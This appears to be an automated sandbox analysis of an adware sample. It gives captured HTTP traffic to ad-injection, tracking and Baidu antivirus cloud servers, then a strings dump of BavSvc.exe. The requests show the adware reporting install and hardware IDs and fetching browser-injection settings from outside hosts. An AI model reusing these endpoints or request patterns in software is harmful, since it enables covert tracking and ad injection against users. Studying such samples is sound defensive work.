HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 102

Content-Type: application/json; charset=utf-8

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=khjpwtjtgr3piurhw1ve0xrg; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:34 GMT
{"d":"[{\"ExcludeDomains\":[],\"HttpInjection\":\"\",\"HttpsInjection\
":\"\",\"IncludeDomains\":[]}]"}HTTP/1.1 200 OK..Cache-Control: privat
e..Content-Length: 102..Content-Type: application/json; charset=utf-8.
.Server: Microsoft-IIS/7.5..Set-Cookie: ASP.NET_SessionId=khjpwtjtgr3p
iurhw1ve0xrg; path=/; HttpOnly..X-AspNet-Version: 4.0.30319..X-Powered
-By: ASP.NET..Date: Tue, 24 Nov 2015 07:03:34 GMT..{"d":"[{\"ExcludeDo
mains\":[],\"HttpInjection\":\"\",\"HttpsInjection\":\"\",\"IncludeDom
ains\":[]}]"}....


GET /InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr HTTP/1.1

Host: inj.shoppop.net


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 127

Content-Type: application/json; charset=utf-8

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=4kouqowykhxhur1lutir3qeg; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:35 GMT
{"d":"[{\"ExcludeDomains\":[],\"HttpInjection\":\"\",\"HttpsInjection\
":\"\",\"IncludeDomains\":[\"vd0ihiro0funrexcwpia2\"]}]"}....


GET /InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_ff HTTP/1.1

Host: inj.shoppop.net


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 127

Content-Type: application/json; charset=utf-8

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=buxeghfd01b2bjjlpakqgdra; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:35 GMT
{"d":"[{\"ExcludeDomains\":[],\"HttpInjection\":\"\",\"HttpsInjection\
":\"\",\"IncludeDomains\":[\"vd0ihiro0funrexcwpia2\"]}]"}....


GET /InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_ie HTTP/1.1

Host: inj.shoppop.net


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 127

Content-Type: application/json; charset=utf-8

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=famw1omiwyg4ctoizkqbv3da; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:35 GMT
{"d":"[{\"ExcludeDomains\":[],\"HttpInjection\":\"\",\"HttpsInjection\
":\"\",\"IncludeDomains\":[\"vd0ihiro0funrexcwpia2\"]}]"}HTTP/1.1 200 
OK..Cache-Control: private..Content-Length: 127..Content-Type: applica
tion/json; charset=utf-8..Server: Microsoft-IIS/7.5..Set-Cookie: ASP.N
ET_SessionId=famw1omiwyg4ctoizkqbv3da; path=/; HttpOnly..X-AspNet-Vers
ion: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Nov 2015 07:03:35
 GMT..{"d":"[{\"ExcludeDomains\":[],\"HttpInjection\":\"\",\"HttpsInje
ction\":\"\",\"IncludeDomains\":[\"vd0ihiro0funrexcwpia2\"]}]"}..

POST /queryfeature.do HTTP/1.0

Content-Length: 127

Host: f.eg.bav.baidu.com

e=

...`.-..?~|.k.../..
P.^`.u-V2."...y.V3.G.|f....B..d...(..B..v=.w..wY.J.T..fZ*.....c...y...`..."c..l.b.....2.7.7.....Z..s...
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close

e=1..4....b#...v. ...D..I-...j..

GET /gettrk_l?partner=pcdealb&channel=pcdealbnew&versionint=1.0.2.0&hid=v4C28B7D95-2978-BD4C-036F-0CC89C089D HTTP/1.1

User-Agent: WinHTTP/1.0

Host: trk.midnightjs.net

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Tue, 24 Nov 2015 07:03:34 GMT

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: keep-alive

Content-Type: text/plain

22..20151124__1.0.2.0__lnk_auto_1218_1..0..

POST /queryfeature.do HTTP/1.0

Content-Length: 133

Host: f.eg.bav.baidu.com

e=

....u.

].Z5.q Re.p.\.... ...j`L...{..Z.f m.. ...&....-|r..h...3.8......d...P........=b.:xK...c...s..@..DY.8.R..q.L0..J..
~q.4y\.
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4......)]...$...........j..

POST /md5_check.cgi HTTP/1.0

Content-Length: 171

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..K..X...X/..... E...z|.h<.i..(cA.x..)4.JAz...."..c..*...{.1...P.^.....SHu..?`...[k......|......kc
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 68

Connection: Close

......i......A.....A.a..}...4a....Y....9Ba(.GZ/V5..........B.t.c..7...

POST /queryfeature.do HTTP/1.0

Content-Length: 131

Host: f.eg.bav.baidu.com

e=

.s..0...YWxs...o...n.!"........H.C....t...;../6..>Y.t.e.2.6

a....!..._......
$

.(

.x..u1."-...].#.,.B.k.8
0^7.A...p..>d.:.^
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=2...j H.l..E..L.M..|...\......

POST /query_report_ctrl.cgi HTTP/1.1

HEAD-LENGTH: 58

User-Agent: Mozilla/5.0

Host: f.eg.bav.baidu.com

Content-Length: 68

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

.....5.4.3.147185 .* 61807c4bafc26bb2ed98e3e60f587cd6B.US......<F.(
HTTP/1.0 200 OK

Content-Length: 41

HEAD-LENGTH: 8

Connection: Keep-Alive

........!IN........E_.q.F.7>.A3..f....l.z..

HEAD /cloud-hips-down.cgi/static/mn.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:04:08 GMT

Content-Type: application/octet-stream

Content-Length: 8915

Last-Modified: Thu, 21 May 2015 06:06:01 GMT

Connection: Close

ETag: "555d75c9-22d3"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/mn.dat

Accept-Ranges: bytes

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0r0.t!b.=.Be........c.".u....9.Z.rRZ.......y.. .. ....4M..>..;..X...:....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......Q..8.......!li...?.fF...k...S{1..s.9N=..

POST /md5_check.cgi HTTP/1.0

Content-Length: 123

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0......L.....R..V.GG.;%..L.=|..Q.....H...;e.p...`..%
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

......9.$.Z.4..k. .Rt^ tX6........m..s.N.'..#...

POST /queryfeature.do HTTP/1.0

Content-Length: 132

Host: f.eg.bav.baidu.com

e=

..>

.ZV-w...?.R.8.}~.............<*u...9..*9..3I..<.G%......B\...q.U...r.....0B~x.....V...#...V.(.l.T. .CZ"m- ?Y..?@..!z.$).B..
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close

e=2...j H...y.$ ..,R.9..?.......

POST /queryfeature.do HTTP/1.0

Content-Length: 138

Host: f.eg.bav.baidu.com

e=

1s.r%.0.!..H./U..[O6n.

.A.S[.bf8......2.......Y.{/..m.J....}o}~.M.i.... ?.T.{...IIt..s.'.i....X.?L2..-..@.i...[ }.(y.T9sM.........1!
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close

e=1..4....K...*E.C.R?..pf....j..

POST /md5_check.cgi HTTP/1.0

Content-Length: 120

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0x......n\.c}p.....}....t.......5.lS.x.. }2.H....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

.................n..LI.1:B9Y.o..5m..n..r.... ...

POST /md5_check.cgi HTTP/1.0

Content-Length: 171

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..K..*... P.....]6.).
...8.m..).A...)4.JAz...."..c..*...{.1...P.^.....SHu..?`...[k......|......kc
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 73

Connection: Close

.......0.....4.e...g..A.....,....IDd{.j.Iwd......L.....f.H...d.T.p...e
.....

GET /COMODOCodeSigningCA2.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.comodoca.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:31 GMT

Content-Type: application/x-pkcs7-crl

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d4b52f50cf82c142482abd51c8912c7051448348611; expires=Wed, 23-Nov-16 07:03:31 GMT; path=/; domain=.comodoca.com; HttpOnly

Last-Modified: Mon, 23 Nov 2015 18:29:25 GMT

ETag: W/"56535b05-d97b"

X-CCACDN-Mirror-ID: h6edcacrl4

Cache-Control: public, max-age=14400

CF-Cache-Status: HIT

Expires: Tue, 24 Nov 2015 11:03:31 GMT

Server: cloudflare-nginx

CF-RAY: 24a341236e6326b4-FRA
14f68..0..Oc0..NJ...0...*.H........0{1.0...U....GB1.0...U....Greater M
anchester1.0...U....Salford1.0...U....COMODO CA Limited1!0...U....COMO
DO Code Signing CA 2..151123182925Z..151127182925Z0..Mf0".........=...
[...<...110824203440Z0".....[..x.Ik.M..ud...110825114542Z0!..Y\7.o.
..p......F..110825134216Z0!..*..d.. .D>Z...bH..110825235944Z0!..v..
...U...........110826180316Z0"......a...sj.........110827065611Z0"....
g..?R.G.=s.......110829195328Z0!..q.?@..|f..........110829205743Z0!..&
lt;..=. :4.....|Sk..110830163519Z0"....3.>&.=.&.QB.z....11083019554
0Z0".....W...p.~.....0T..110901131432Z0!...c:6`....V ...}...1109011318
23Z0".........<.....J.....110901152743Z0!..M....A...=...z.Z..110901
185932Z0".........b........y..110901212800Z0"....,..p.....;.@.0...1109
02154630Z0".....8...b8..}.CO....110902175624Z0"....v.<u\...`....^..
.110902194811Z0!.. gR`..k}.0c....7..110902205032Z0"....#.y...}[.^.=.. 
..110905122329Z0"....8l.q.x.....<..K..110905140709Z0!....=...oHF<
;v..O....110906095658Z0!..(..j.z5..p.....n..110906140412Z0"....=A.w.p.
..........110907092516Z0!..5....r..R.a..4....110907092609Z0!.........D
..).^.'...110907092655Z0!..[....1............110907132010Z0".......3Ee
....p-.....110908132554Z0!..A.v...GR..JJ)c.b..110909093345Z0"....b..T.
.]..........110910043824Z0"....f.......T.V.N{9..110910044920Z0!..,....
..h.L.T.|.U..110912173144Z0"....-...D,.UM...O.V..110912173717Z0!.. b..
....f..j.p.^..110913094740Z0!..Jc...RX.lp!.......110913102919Z0!..R..A
.z{~.X...B....110913165335Z0!..>......b|...Rw.g..110914090437Z0<<< skipped >>>

POST /md5_check.cgi HTTP/1.0

Content-Length: 126

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0v.....!..S.DJz3RR.N.>...W.n...oX_.`.f$...-.h.B.....e..
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
......9.$.].@....&."t[[|Q7...~|...b.uw.I./..#...

HEAD /cloud-hips-down.cgi/static/midhf.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:04:08 GMT

Content-Type: application/octet-stream

Content-Length: 3000

Last-Modified: Mon, 06 Jul 2015 09:42:01 GMT

Connection: Close

ETag: "559a4d69-bb8"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/midhf.dat

Accept-Ranges: bytes

POST /md5_check.cgi HTTP/1.0

Content-Length: 128

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..o.dR.NLB&&.L.J.. .....i*X.j"A;...h...S.....2.(../...
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

......9.$. .5..l.".[v/\."1..........p..6.$..#...

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.A.G)..a..@
M$.{|...%.o...%..T?6[......-..p6n.iaf]..

1.3LO.P}.....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
.........0..]...~...4h..r. `........Q.Y"..1...

The Adware connects to the servers at the folowing location(s):

BavSvc.exe_3632:

.text

`.rdata

@.data

.rsrc

8drcrt

RSShT

QSShT

tGHt.Ht&

vSSSh

FTPjK

FtPj;

C.PjRV

Product_CloudMgr_Public_Exe

Product_CloudMgr_Exe

Product_AppsRobo_Public_Exe

Product_AppsRobo_Exe

Product_Allinone_Public_Exe

Product_Allinone_Exe

Product_Newspark_Public_Exe

Product_Newspark_Exe

Product_Spark_Public_Exe

Product_Spark_Exe

Product_Ime_Public_Exe

Product_Ime_Exe

Product_AppStore_Public_Exe

Product_AppStore_Exe

Product_Pcf_Public_Exe

Product_Pcf_Exe

Product_Bav_Public_Exe

Product_Bav_Exe

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\message_lite.cc

CHECK failed: !coded_out.HadError():

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\stubs\common.cc

%d.%d.%d

libprotobuf %s %s:%d] %s

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\wire_format_lite.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\io\coded_stream.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\io\zero_copy_stream_impl_lite.cc

CHECK failed: backup_bytes_ == 0 && buffer_.get() != NULL:

right-curly-bracket

left-curly-bracket

Unmatched quantified repeat operator { or \{.

Invalid preceding regular expression prior to repetition operator.

%s$x$x

%s$%x

-60%!<:;

$x

;3:'84!<:;

msvcrt.dll

6666666666666666

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

GetProcessWindowStation

USER32.DLL

operator

&&&&6666????

""""****

2222::::

$$$$\\\\

00006666

####====

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\message.cc

CHECK failed: (from.GetDescriptor()) == (descriptor):

: Tried to copy from a message with a different type.to:

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\descriptor.cc

import "$0";

$0$1 $2 $3 = $4

$0$1 = $2

". To use it here, please add the necessary import.

", which is not imported by "

.placeholder.proto

.PLACEHOLDER_VALUE

.dummy

File recursively imports itself:

Missing field: FileDescriptorProto.name.

Import "

FieldDescriptorProto.extendee not set for extension field.

FieldDescriptorProto.extendee set for non-extension field.

Files that do not use optimize_for = LITE_RUNTIME cannot import files which do use this option. This file is not lite, but it imports "

map_key must not name a repeated field.

map key must name a scalar or string field.

" is repeated. Repeated options are not supported.

CHECK failed: !out.HadError():

.foo = value".

CHECK failed: dynamic.get() != NULL:

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google/protobuf/descriptor.pb.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google/protobuf/unknown_field_set.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google/protobuf/repeated_field.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\generated_message_reflection.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\wire_format.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\reflection_ops.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\unknown_field_set.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\stubs\strutil.cc

Error reporting not implemented.

\xx

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\stubs\strutil.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\io\zero_copy_stream_impl.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\descriptor_database.cc

Invalid file descriptor data passed to EncodedDescriptorDatabase::Add().

google/protobuf/descriptor.proto

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\descriptor.pb.cc

google/protobuf/descriptor.proto

google.protobuf"G

2$.google.protobuf.FileDescriptorProto"

2 .google.protobuf.DescriptorProto

2$.google.protobuf.EnumDescriptorProto

2'.google.protobuf.ServiceDescriptorProto

2%.google.protobuf.FieldDescriptorProto

.google.protobuf.FileOptions

.google.protobuf.SourceCodeInfo"

2/.google.protobuf.DescriptorProto.ExtensionRange

.google.protobuf.MessageOptions

2 .google.protobuf.FieldDescriptorProto.Label

2*.google.protobuf.FieldDescriptorProto.Type

.google.protobuf.FieldOptions"

2).google.protobuf.EnumValueDescriptorProto

.google.protobuf.EnumOptions"l

2!.google.protobuf.EnumValueOptions"

2&.google.protobuf.MethodDescriptorProto

.google.protobuf.ServiceOptions"

.google.protobuf.MethodOptions"

2).google.protobuf.FileOptions.OptimizeMode:

2$.google.protobuf.UninterpretedOption":

2$.google.protobuf.UninterpretedOption*

2#.google.protobuf.FieldOptions.CType:

experimental_map_key

2$.google.protobuf.UninterpretedOption"/

2-.google.protobuf.UninterpretedOption.NamePart

2(.google.protobuf.SourceCodeInfo.Location

com.google.protobufB

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\text_format.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\stubs\substitute.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\dynamic_message.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\io\tokenizer.cc

Tokenizer::ParseInteger() passed text that could not have been tokenized as an integer:

Tokenizer::ParseFloat() passed text that could not have been tokenized as a float:

Tokenizer::ParseStringAppend() passed text that could not have been tokenized as a string:

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\extension_set_heavy.cc

CHECK failed: ((iter->second).is_repeated ? FieldDescriptor::LABEL_REPEATED : FieldDescriptor::LABEL_OPTIONAL) == (FieldDescriptor::LABEL_OPTIONAL):

CHECK failed: (cpp_type((iter->second).type)) == (FieldDescriptor::CPPTYPE_MESSAGE):

CHECK failed: ((*extension).is_repeated ? FieldDescriptor::LABEL_REPEATED : FieldDescriptor::LABEL_OPTIONAL) == (FieldDescriptor::LABEL_OPTIONAL):

CHECK failed: (cpp_type((*extension).type)) == (FieldDescriptor::CPPTYPE_MESSAGE):

CHECK failed: ((*extension).is_repeated ? FieldDescriptor::LABEL_REPEATED : FieldDescriptor::LABEL_OPTIONAL) == (FieldDescriptor::LABEL_REPEATED):

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\extension_set.cc

CHECK failed: !iter->second.is_repeated:

CHECK failed: ((iter->second).is_repeated ? REPEATED : OPTIONAL) == (OPTIONAL):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_INT32):

CHECK failed: ((*extension).is_repeated ? REPEATED : OPTIONAL) == (OPTIONAL):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_INT32):

CHECK failed: iter != extensions_.end():

CHECK failed: ((iter->second).is_repeated ? REPEATED : OPTIONAL) == (REPEATED):

CHECK failed: ((*extension).is_repeated ? REPEATED : OPTIONAL) == (REPEATED):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_INT64):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_INT64):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_UINT32):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_UINT32):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_UINT64):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_UINT64):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_FLOAT):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_FLOAT):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_DOUBLE):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_DOUBLE):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_BOOL):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_BOOL):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_ENUM):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_ENUM):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_STRING):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_STRING):

CHECK failed: (cpp_type((iter->second).type)) == (WireFormatLite::CPPTYPE_MESSAGE):

CHECK failed: (cpp_type((*extension).type)) == (WireFormatLite::CPPTYPE_MESSAGE):

CHECK failed: (extension->type) == (other_extension.type):

Visual C   CRT: Not enough memory to complete call to strerror.

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_131_item.pb.cc

report.Report131Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\SessionMan.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_175_item.pb.cc

report.Report175Item

thurl

defaulturl

egurl

brurl

cnurl

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\MaliciousPlugGather.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\UpdateManager.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\UsbDiskMgr.cpp

KrnMsg

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\HipsScanner.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\FastOa.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\bavurlmon.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\BavOAScanner.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\VirusHandler.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\ReportInfo.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\LogReporter.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\LogRecorder.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\report_11_item.pb.cc

report.Report11Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\report.pb.cc

report.ReportItem

report.ReportHead

report.ReportBody

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\KernelService.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\BavSvc.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_117_item.pb.cc

report.Report117Item

SetUrlTrustItem

GetUrlTrustItem

QuaFileOperation

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\IPCMsg.cpp

[chs] start bavsvc report

[chs]IPCMsg::OnScanFile

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\TaskManager.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\WskLspParser.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\SchTaskParser.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\RegParser.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\ProfileParser.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\TaskScanner.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\ProgressCounter.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\MemScanMgr.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\FileFilter.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\CJCounter.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\BsrScan.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSvc\BavScanCaller.cpp

ntdll.dll

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\BavBasic\Include\ProcessProfile.h

[chs]proc = %s data up

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\include\DataReport/CommDataReport.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdpart\protobuf\include\google/protobuf/repeated_field.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\BavBasic\Include\BavFalseComWrapper.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\Channel.cpp

f:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\publiclib\ipc\ServerBackground2.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ServerBackground2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ServerAgent2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ClientBackground2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ClientAgent2.cpp

sqlite3_open_v2

sqlite3_open16

sqlite3_exec

sqlite3_close

sqlite3_prepare_v2

sqlite3_finalize

sqlite3_bind_int64

sqlite3_bind_int

sqlite3_bind_blob

sqlite3_bind_text

sqlite3_bind_text16

sqlite3_reset

sqlite3_step

sqlite3_column_int

sqlite3_column_int64

sqlite3_column_blob

sqlite3_column_bytes

sqlite3_column_bytes16

